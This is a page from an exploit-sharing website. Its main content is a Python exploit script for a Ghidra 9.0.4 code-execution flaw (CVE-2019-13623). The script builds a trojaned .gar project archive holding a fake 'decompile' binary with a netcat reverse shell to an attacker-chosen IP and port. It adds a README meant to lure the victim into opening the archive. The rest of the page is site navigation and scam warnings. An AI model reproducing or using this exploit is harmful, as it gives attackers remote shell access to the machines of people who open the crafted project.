0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution Exploit
Author
Risk
[Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
import os
import inspect
import argparse
import shutil
from shutil import copyfile
print("")
print("")
print("################################################")
print("")
print("------------------CVE-2019-13623----------------")
print("")
print("################################################")
print("")
print("-----------------Ghidra-Exploit-----------------")
print("--Tested version: Ghidra Linux version <= 9.0.4-")
print("------------------------------------------------")
print("")
print("################################################")
print("")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("")
print("------------------Discovered by:----------------")
print("---------https://blog.fxiao.me/ghidra/----------")
print("")
print("--------Exploit tested on Ubuntu 18.04----------")
print("-----------------Dependency: zip----------------")
print("")
print("################################################")
print("")
print("")
parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input export .gar file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)
args = parser.parse_args()
if args.ip and args.port and args.file:
rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
path = "../Ghidra/Features/Decompiler/os/linux64/decompile"
os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/")
os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0<x | /bin/bash 1>x' > decompile")
os.system("chmod +x decompile")
copyfile("decompile",path)
copyfile(args.file,rootDirURL+"/"+"project.gar")
os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile")
os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE")
os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE")
os.system("zip -q project.zip project.gar")
os.system("rm decompile README_BEFORE_OPEN_GAR_FILE")
os.system("rm project.gar")
print("You can now share project.zip and start your local netcat listener.")
print("")
print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR")
print("root path for payload execution.")
print("")
# 0day.today [2024-11-16] #